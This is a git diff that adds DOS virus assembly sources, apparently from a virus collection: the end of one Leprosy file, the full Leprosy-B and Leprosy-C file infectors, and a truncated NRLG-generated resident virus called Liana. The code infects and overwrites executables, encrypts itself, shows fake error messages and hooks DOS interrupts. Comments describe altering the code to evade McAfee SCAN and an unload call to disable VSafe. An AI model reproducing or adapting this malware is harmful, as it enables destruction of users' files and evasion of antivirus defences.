DOS + int 21h + ret +exit_virus: + cmp files_found,6 ; Are at least 6 files infected? + jl print_fake ; If not, keep a low profile + cmp success,0 ; Did we infect anything? + jg print_fake ; If so, cover it up + mov ah,09h ; Use DOS print string service + mov dx,offset virus_msg1 ; Load the address of the first line + int 21h ; Print it + mov dx,offset virus_msg2 ; Load the second line + int 21h ; (etc) + mov dx,offset virus_msg3 + int 21h + mov dx,offset virus_msg4 + int 21h + jmp terminate +print_fake: + mov ah,09h ; Use DOS to print fake error message + mov dx,offset fake_msg + int 21h +terminate: + mov ah,4ch ; DOS terminate process function + int 21h ; Call DOS to get out of this program + +filler db 8 dup (90h) ; Pad out the file length to 666 bytes + +main endp +code ends + end main + \ No newline at end of file diff --git a/l/LEPROSYB.ASM b/l/LEPROSYB.ASM new file mode 100755 index 0000000..5da9ad3 --- /dev/null +++ b/l/LEPROSYB.ASM @@ -0,0 +1,242 @@ +; - Leprosy-B Virus Source +; Copy-ya-right (c) 1990 by PCM2. +; +; This file is the source code to the Leprosy-B virus. It should +; be assembled with an MASM-compatible assembler; it has been tested +; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0. +; It should be made into a .COM file before executing, with either +; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility. +; +; This program has the potential to permanently destroy executable +; images on any disk medium. Other modifications may have been made +; subsequent to the original release by the author, either benign, +; or which could result in further harm should this program be run. +; In any case, the author assumes no responsibility for any damage +; caused by this program, incidental or otherwise. As a precaution, +; this program should not be turned over to irresponsible hands... +; (unlike people like us, that is). + + + title "Leprosy-B Virus by PCM2, August 1990" + +cr equ 13 ; Carriage return ASCII code +lf equ 10 ; Linefeed ASCII code +tab equ 9 ; Tab ASCII code +virus_size equ 666 ; Size of the virus file +code_start equ 100h ; Address right after PSP in memory +dta equ 80h ; Addr of default disk transfer area +datestamp equ 24 ; Offset in DTA of file's date stamp +timestamp equ 22 ; Offset in DTA of file's time stamp +filename equ 30 ; Offset in DTA of ASCIIZ filename +attribute equ 21 ; Offset in DTA of file attribute + + + code segment 'code' ; Open code segment + assume cs:code,ds:code ; One segment for both code & data + org code_start ; Start code image after PSP + +;--------------------------------------------------------------------- +; All executable code is contained in boundaries of procedure "main". +; The following code, until the start of "virus_code", is the non- +; encrypted CMT portion of the code to load up the real program. +;--------------------------------------------------------------------- +main proc near ; Code execution begins here + call encrypt_decrypt ; Decrypt the real virus code + jmp random_mutation ; Put the virus into action + +encrypt_val db 00h ; Hold value to encrypt by here + +; ---------- Encrypt, save, and restore the virus code ----------- +infect_file: + mov bx,handle ; Get the handle + push bx ; Save it on the stack + call encrypt_decrypt ; Encrypt most of the code + pop bx ; Get back the handle + mov cx,virus_size ; Total number of bytes to write + mov dx,code_start ; Buffer where code starts in memory + mov ah,40h ; DOS write-to-handle service + int 21h ; Write the virus code into the file + call encrypt_decrypt ; Restore the code as it was + ret ; Go back to where you came from + +; --------------- Encrypt or decrypt the virus code ---------------- +encrypt_decrypt: + mov bx,offset virus_code ; Get address to start encrypt/decrypt +xor_loop: ; Start cycle here + mov ah,[bx] ; Get the current byte + xor ah,encrypt_val ; Engage/disengage XOR scheme on it + mov [bx],ah ; Put it back where we got it + inc bx ; Move BX ahead a byte + cmp bx,offset virus_code+virus_size ; Are we at the end? + jle xor_loop ; If not, do another cycle + ret ; and go back where we came from + +;----------------------------------------------------------------------- +; The rest of the code from here on remains encrypted until run-time, +; using a fundamental XOR technique that changes via CMT. +;----------------------------------------------------------------------- +virus_code: + +;---------------------------------------------------------------------------- +; All strings are kept here in the file, and automatically encrypted. +; Please don't be a lamer and change the strings and say you wrote a virus. +; Because of Cybernetic Mutation Technology(tm), the CRC of this file often +; changes, even when the strings stay the same. +;---------------------------------------------------------------------------- +exe_filespec db "*.EXE",0 +com_filespec db "*.COM",0 +newdir db "..",0 +fake_msg db cr,lf,"Program too big to fit in memory$" +virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$" +virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$" +virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$" +virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$" +compare_buf db 20 dup (?) ; Buffer to compare files in +files_found db ? +files_infected db ? +orig_time dw ? +orig_date dw ? +orig_attr dw ? +handle dw ? +success db ? + +random_mutation: ; First decide if virus is to mutate + mov ah,2ch ; Set up DOS function to get time + int 21h + cmp encrypt_val,0 ; Is this a first-run virus copy? + je install_val ; If so, install whatever you get. + cmp dh,15 ; Is it less than 16 seconds? + jg find_extension ; If not, don't mutate this time +install_val: + cmp dl,0 ; Will we be encrypting using zero? + je random_mutation ; If so, get a new value. + mov encrypt_val,dl ; Otherwise, save the new value +find_extension: ; Locate file w/ valid extension + mov files_found,0 ; Count infected files found + mov files_infected,4 ; BX counts file infected so far + mov success,0 +find_exe: + mov cx,00100111b ; Look for all flat file attributes + mov dx,offset exe_filespec ; Check for .EXE extension first + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je find_com ; If not, nothing more to do + call find_healthy ; Otherwise, try to find healthy .EXE +find_com: + mov cx,00100111b ; Look for all flat file attributes + mov dx,offset com_filespec ; Check for .COM extension now + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je chdir ; If not, step back a directory + call find_healthy ; Otherwise, try to find healthy .COM +chdir: ; Routine to step back one level + mov dx,offset newdir ; Load DX with address of pathname + mov ah,3bh ; Change directory DOS service + int 21h + dec files_infected ; This counts as infecting a file + jnz find_exe ; If we're still rolling, find another + jmp exit_virus ; Otherwise let's pack it up +find_healthy: + mov bx,dta ; Point BX to address of DTA + mov ax,[bx]+attribute ; Get the current file's attribute + mov orig_attr,ax ; Save it + mov ax,[bx]+timestamp ; Get the current file's time stamp + mov orig_time,ax ; Save it + mov ax,[bx]+datestamp ; Get the current file's data stamp + mov orig_date,ax ; Save it + mov dx,dta+filename ; Get the filename to change attribute + mov cx,0 ; Clear all attribute bytes + mov al,1 ; Set attribute sub-function + mov ah,43h ; Call DOS service to do it + int 21h + mov al,2 ; Set up to open handle for read/write + mov ah,3dh ; Open file handle DOS service + int 21h + mov handle,ax ; Save the file handle + mov bx,ax ; Transfer the handle to BX for read + mov cx,20 ; Read in the top 20 bytes of file + mov dx,offset compare_buf ; Use the small buffer up top + mov ah,3fh ; DOS read-from-handle service + int 21h + mov bx,offset compare_buf ; Adjust the encryption value + mov ah,encrypt_val ; for accurate comparison + mov [bx+6],ah + mov si,code_start ; One array to compare is this file + mov di,offset compare_buf ; The other array is the buffer + mov ax,ds ; Transfer the DS register... + mov es,ax ; ...to the ES register + cld + repe cmpsb ; Compare the buffer to the virus + jne healthy ; If different, the file is healthy! + call close_file ; Close it up otherwise + inc files_found ; Chalk up another fucked up file +continue_search: + mov ah,4fh ; Find next DOS function + int 21h ; Try to find another same type file + cmp ax,12h ; Are there any more files? + je no_more_found ; If not, get outta here + jmp find_healthy ; If so, try the process on this one! +no_more_found: + ret ; Go back to where we came from +healthy: + mov bx,handle ; Get the file handle + mov ah,3eh ; Close it for now + int 21h + mov ah,3dh ; Open it again, to reset it + mov dx,dta+filename + mov al,2 + int 21h + mov handle,ax ; Save the handle again + call infect_file ; Infect the healthy file + call close_file ; Close down this operation + inc success ; Indicate we did something this time + dec files_infected ; Scratch off another file on agenda + jz exit_virus ; If we're through, terminate + jmp continue_search ; Otherwise, try another + ret +close_file: + mov bx,handle ; Get the file handle off the stack + mov cx,orig_time ; Get the date stamp + mov dx,orig_date ; Get the time stamp + mov al,1 ; Set file date/time sub-service + mov ah,57h ; Get/Set file date and time service + int 21h ; Call DOS + mov bx,handle + mov ah,3eh ; Close handle DOS service + int 21h + mov cx,orig_attr ; Get the file's original attribute + mov al,1 ; Instruct DOS to put it back there + mov dx,dta+filename ; Feed it the filename + mov ah,43h ; Call DOS + int 21h + ret +exit_virus: + cmp files_found,6 ; Are at least 6 files infected? + jl print_fake ; If not, keep a low profile + cmp success,0 ; Did we infect anything? + jg print_fake ; If so, cover it up + mov ah,09h ; Use DOS print string service + mov dx,offset virus_msg1 ; Load the address of the first line + int 21h ; Print it + mov dx,offset virus_msg2 ; Load the second line + int 21h ; (etc) + mov dx,offset virus_msg3 + int 21h + mov dx,offset virus_msg4 + int 21h + jmp terminate +print_fake: + mov ah,09h ; Use DOS to print fake error message + mov dx,offset fake_msg + int 21h +terminate: + mov ah,4ch ; DOS terminate process function + int 21h ; Call DOS to get out of this program + +filler db 8 dup (90h) ; Pad out the file length to 666 bytes + +main endp +code ends + end main diff --git a/l/LEPROSYC.ASM b/l/LEPROSYC.ASM new file mode 100755 index 0000000..f23db2a --- /dev/null +++ b/l/LEPROSYC.ASM @@ -0,0 +1,297 @@ +; - Leprosy-B Virus Source +; Copy-ya-right (c) 1990 by PCM2. +; +; This file is the source code to the Leprosy-B virus. It should +; be assembled with an MASM-compatible assembler; it has been tested +; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0. +; It should be made into a .COM file before executing, with either +; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility. +; +; This program has the potential to permanently destroy executable +; images on any disk medium. Other modifications may have been made +; subsequent to the original release by the author, either benign, +; or which could result in further harm should this program be run. +; In any case, the author assumes no responsibility for any damage +; caused by this program, incidental or otherwise. As a precaution, +; this program should not be turned over to irresponsible hands... +; (unlike people like us, that is). +; +;;-=𰱲۲=-=𰱲۲=-=𰱲۲=-=𰱲۲=-=𰱲۲=-=𰱲۲=- +;; +;; - This virus is not really Leprosy-B. It is, in +;; fact, ALMOST the same. When I encountered the +;; source code and assembled it, I found, obviously +;; to my disappointment, that SCAN v77 could find +;; it. Since it is a self-encrypting virus, I knew +;; EXACTLY how to fix this problem (after all, +;; being part of McPhee's programs is a sure way to +;; know that your virus has been a big hit, but it +;; also means that it will soon meet a terrible end. +;; Presented with such a sad situation, I decided I +;; would modify the virus to give it one more shot +;; at the outside world. Not only that, but I will +;; make TWO new versions. This one, in particular, +;; will preserve the traditional length of 666, and +;; will only have a slight modification. You see, +;; since the virus encrypts itself, McPhee must go +;; on 1 or both of two paths. He must either use +;; the whole non-encrypted portion as an ID string, +;; or he must use the file offset where the value +;; for decrypting is normally stored, XOR it with +;; the rest of the program (this is how it encrypts +;; and decrypts itself), and then try to identify +;; the decrypted code as the virus. By changing +;; where the encryption value is stored in the non- +;; encrypted portion and putting a zero there in- +;; stead, (along with altering the primary instruc- +;; tions slightly), I have made it undetectable by +;; SCAN, despite the fact that it is (in all other +;; aspects) the same damn thing. +;; Have fun! +;; The BOOT SECTOR Infector... +;; +;; NOTE: Also, (in case you haven't already noticed) all of the changes +;; I make to this program will have a double semicolon (;;) on +;; them somewhere. This is to reinforce the fact that I DID +;; NOT do the original work on this virus. That credit is left +;; appropriately to PCM2. And I respect his brilliance in its +;; coding (especially the encrypt/decrypt portion!) +;; L8r peepz! +;; + + + + title "Leprosy-C Virus by PCM2, August 1990" +;; With additional modifications by TBSI, June 1991 + + +cr equ 13 ; Carriage return ASCII code +lf equ 10 ; Linefeed ASCII code +tab equ 9 ; Tab ASCII code +virus_size equ 666 ; Size of the virus file +code_start equ 100h ; Address right after PSP in memory +dta equ 80h ; Addr of default disk transfer area +datestamp equ 24 ; Offset in DTA of file's date stamp +timestamp equ 22 ; Offset in DTA of file's time stamp +filename equ 30 ; Offset in DTA of ASCIIZ filename +attribute equ 21 ; Offset in DTA of file attribute + + + code segment 'code' ; Open code segment + assume cs:code,ds:code ; One segment for both code & data + org code_start ; Start code image after PSP + +;--------------------------------------------------------------------- +; All executable code is contained in boundaries of procedure "main". +; The following code, until the start of "virus_code", is the non- +; encrypted CMT portion of the code to load up the real program. +;--------------------------------------------------------------------- +main proc near ; Code execution begins here + call encrypt_decrypt ; Decrypt the real virus code + jmp random_mutation ; Put the virus into action + db 0 ;; This line inserted by TBSI. If + ;; McPhee uses the second technique + ;; described in my speech, then it + ;; will find the zero and consider + ;; it to be the value it wants, even + ;; though using a zero will make it + ;; do absolutely NOTHING! +encrypt_val db 00h ; Hold value to encrypt by here + +; ---------- Encrypt, save, and restore the virus code ----------- +infect_file: + mov bx,handle ; Get the handle + push bx ; Save it on the stack + call encrypt_decrypt ; Encrypt most of the code + pop bx ; Get back the handle + nop ;; Added by TBSI to through of McPhee + mov cx,virus_size ; Total number of bytes to write + mov dx,code_start ; Buffer where code starts in memory + mov ah,40h ; DOS write-to-handle service + int 21h ; Write the virus code into the file + call encrypt_decrypt ; Restore the code as it was + ret ; Go back to where you came from + +; --------------- Encrypt or decrypt the virus code ---------------- +encrypt_decrypt: + mov bx,offset virus_code ; Get address to start encrypt/decrypt +xor_loop: ; Start cycle here + mov ah,[bx] ; Get the current byte + xor ah,encrypt_val ; Engage/disengage XOR scheme on it + mov [bx],ah ; Put it back where we got it + inc bx ; Move BX ahead a byte + nop ;; Added by TBSI to through of McPhee + cmp bx,offset virus_code+virus_size ; Are we at the end? + jle xor_loop ; If not, do another cycle + ret ; and go back where we came from + +;----------------------------------------------------------------------- +; The rest of the code from here on remains encrypted until run-time, +; using a fundamental XOR technique that changes via CMT. +;----------------------------------------------------------------------- +virus_code: + +;---------------------------------------------------------------------------- +; All strings are kept here in the file, and automatically encrypted. +; Please don't be a lamer and change the strings and say you wrote a virus. +; Because of Cybernetic Mutation Technology(tm), the CRC of this file often +; changes, even when the strings stay the same. +;---------------------------------------------------------------------------- +exe_filespec db "*.EXE",0 +com_filespec db "*.COM",0 +newdir db "..",0 +fake_msg db cr,lf,"Program too big to fit in memory$" +virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$" +virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$" +virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$" +virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$" +compare_buf db 20 dup (?) ; Buffer to compare files in +files_found db ? +files_infected db ? +orig_time dw ? +orig_date dw ? +orig_attr dw ? +handle dw ? +success db ? + +random_mutation: ; First decide if virus is to mutate + mov ah,2ch ; Set up DOS function to get time + int 21h + cmp encrypt_val,0 ; Is this a first-run virus copy? + je install_val ; If so, install whatever you get. + cmp dh,15 ; Is it less than 16 seconds? + jg find_extension ; If not, don't mutate this time +install_val: + cmp dl,0 ; Will we be encrypting using zero? + je random_mutation ; If so, get a new value. + mov encrypt_val,dl ; Otherwise, save the new value +find_extension: ; Locate file w/ valid extension + mov files_found,0 ; Count infected files found + mov files_infected,4 ; BX counts file infected so far + mov success,0 +find_exe: + mov cx,00100111b ; Look for all flat file attributes + mov dx,offset exe_filespec ; Check for .EXE extension first + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je find_com ; If not, nothing more to do + call find_healthy ; Otherwise, try to find healthy .EXE +find_com: + mov cx,00100111b ; Look for all flat file attributes + mov dx,offset com_filespec ; Check for .COM extension now + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je chdir ; If not, step back a directory + call find_healthy ; Otherwise, try to find healthy .COM +chdir: ; Routine to step back one level + mov dx,offset newdir ; Load DX with address of pathname + mov ah,3bh ; Change directory DOS service + int 21h + dec files_infected ; This counts as infecting a file + jnz find_exe ; If we're still rolling, find another + jmp exit_virus ; Otherwise let's pack it up +find_healthy: + mov bx,dta ; Point BX to address of DTA + mov ax,[bx]+attribute ; Get the current file's attribute + mov orig_attr,ax ; Save it + mov ax,[bx]+timestamp ; Get the current file's time stamp + mov orig_time,ax ; Save it + mov ax,[bx]+datestamp ; Get the current file's data stamp + mov orig_date,ax ; Save it + mov dx,dta+filename ; Get the filename to change attribute + mov cx,0 ; Clear all attribute bytes + mov al,1 ; Set attribute sub-function + mov ah,43h ; Call DOS service to do it + int 21h + mov al,2 ; Set up to open handle for read/write + mov ah,3dh ; Open file handle DOS service + int 21h + mov handle,ax ; Save the file handle + mov bx,ax ; Transfer the handle to BX for read + mov cx,20 ; Read in the top 20 bytes of file + mov dx,offset compare_buf ; Use the small buffer up top + mov ah,3fh ; DOS read-from-handle service + int 21h + mov bx,offset compare_buf ; Adjust the encryption value + mov ah,encrypt_val ; for accurate comparison + mov [bx+6],ah + mov si,code_start ; One array to compare is this file + mov di,offset compare_buf ; The other array is the buffer + mov ax,ds ; Transfer the DS register... + mov es,ax ; ...to the ES register + cld + repe cmpsb ; Compare the buffer to the virus + jne healthy ; If different, the file is healthy! + call close_file ; Close it up otherwise + inc files_found ; Chalk up another fucked up file +continue_search: + mov ah,4fh ; Find next DOS function + int 21h ; Try to find another same type file + cmp ax,12h ; Are there any more files? + je no_more_found ; If not, get outta here + jmp find_healthy ; If so, try the process on this one! +no_more_found: + ret ; Go back to where we came from +healthy: + mov bx,handle ; Get the file handle + mov ah,3eh ; Close it for now + int 21h + mov ah,3dh ; Open it again, to reset it + mov dx,dta+filename + mov al,2 + int 21h + mov handle,ax ; Save the handle again + call infect_file ; Infect the healthy file + call close_file ; Close down this operation + inc success ; Indicate we did something this time + dec files_infected ; Scratch off another file on agenda + jz exit_virus ; If we're through, terminate + jmp continue_search ; Otherwise, try another + ret +close_file: + mov bx,handle ; Get the file handle off the stack + mov cx,orig_time ; Get the date stamp + mov dx,orig_date ; Get the time stamp + mov al,1 ; Set file date/time sub-service + mov ah,57h ; Get/Set file date and time service + int 21h ; Call DOS + mov bx,handle + mov ah,3eh ; Close handle DOS service + int 21h + mov cx,orig_attr ; Get the file's original attribute + mov al,1 ; Instruct DOS to put it back there + mov dx,dta+filename ; Feed it the filename + mov ah,43h ; Call DOS + int 21h + ret +exit_virus: + cmp files_found,6 ; Are at least 6 files infected? + jl print_fake ; If not, keep a low profile + cmp success,0 ; Did we infect anything? + jg print_fake ; If so, cover it up + mov ah,09h ; Use DOS print string service + mov dx,offset virus_msg1 ; Load the address of the first line + int 21h ; Print it + mov dx,offset virus_msg2 ; Load the second line + int 21h ; (etc) + mov dx,offset virus_msg3 + int 21h + mov dx,offset virus_msg4 + int 21h + jmp terminate +print_fake: + mov ah,09h ; Use DOS to print fake error message + mov dx,offset fake_msg + int 21h +terminate: + mov ah,4ch ; DOS terminate process function + int 21h ; Call DOS to get out of this program + +filler db 8 dup (90h) ; Pad out the file length to 666 bytes + +main endp +code ends + end main + \ No newline at end of file diff --git a/l/LIANA.ASM b/l/LIANA.ASM new file mode 100755 index 0000000..29fe175 --- /dev/null +++ b/l/LIANA.ASM @@ -0,0 +1,473 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; +; Liana Virus, created by Gehenna on 20 May 96! + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +sub byte ptr [di],07ch +not byte ptr [di] +xor word ptr [di],03c11h +xor byte ptr [di],069h +xor byte ptr [di],0ch +xor byte ptr [di],0a2h +not word ptr [di] +add word ptr [di],05875h +inc word ptr [di] +add byte ptr [di],049h +add word ptr [di],0ecb8h +xor byte ptr [di],0f8h +add byte ptr [di],083h +not word ptr [di] +add byte ptr [di],02h +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +call ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db 'N.R.L.G. by Gehenna' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +sub byte ptr [di],02h +not word ptr [di] +sub byte ptr [di],083h +xor byte ptr [di],0f8h +sub word ptr [di],0ecb8h +sub byte ptr [di],049h +dec word ptr [di] +sub word ptr [di],05875h +not word ptr [di] +xor byte ptr [di],0a2h +xor byte ptr [di],0ch +xor byte ptr [di],069h +xor word ptr [di],03c11h +not byte ptr [di] +add byte ptr [di],07ch +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;--------------------------------- +action: ;Call label +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; +mov AH,9 ;yeah!! +MOV DX,OFFSET PAO ;print my text! +INT 21H ;now! +INT 20H ;an finsh te program +NO_DAY: ;label to incorrect date +ret ;return from call +;--------------------------------- + + +PAO: +DB 10,13,'Dedicated to Liana. 20 May 96','$' + +;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz 